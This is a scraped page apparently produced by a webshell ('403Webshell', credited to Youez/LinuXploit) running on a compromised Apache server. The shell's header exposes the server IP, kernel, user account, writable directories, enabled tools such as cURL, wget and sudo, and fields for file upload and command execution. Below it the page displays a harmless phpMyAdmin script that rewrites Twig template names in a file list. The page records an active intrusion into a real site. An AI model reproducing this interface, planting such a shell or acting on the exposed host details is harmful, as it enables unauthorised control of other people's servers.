403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/prod1.wondermakr.com/phpmyadmin/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/prod1.wondermakr.com/phpmyadmin/scripts/match-twig-cache
<?php
/* vim: set expandtab sw=4 ts=4 sts=4 ft=php: */

declare(strict_types=1);

if (! defined('ROOT_PATH')) {
    define('ROOT_PATH', dirname(__DIR__) . DIRECTORY_SEPARATOR);
}

$tmpDir = ROOT_PATH . 'twig-templates';

/* Read replacements file */
$replacements = json_decode(file_get_contents($tmpDir . '/replace.json'), true);

/* Read files list */
$filesList = file_get_contents($tmpDir . '/filesList');

$options = getopt('', ['reverse::']);

foreach ($replacements as $templateName => $data) {
    if (isset($options['reverse'])) {
        $filesList = str_replace($data[0], $templateName, $filesList);
    } else {
        $filesList = str_replace($templateName, $data[0], $filesList);
    }
}

/* Write back files list */
file_put_contents($tmpDir . '/filesList', $filesList);

Youez - 2016 - github.com/yon3zu
LinuXploit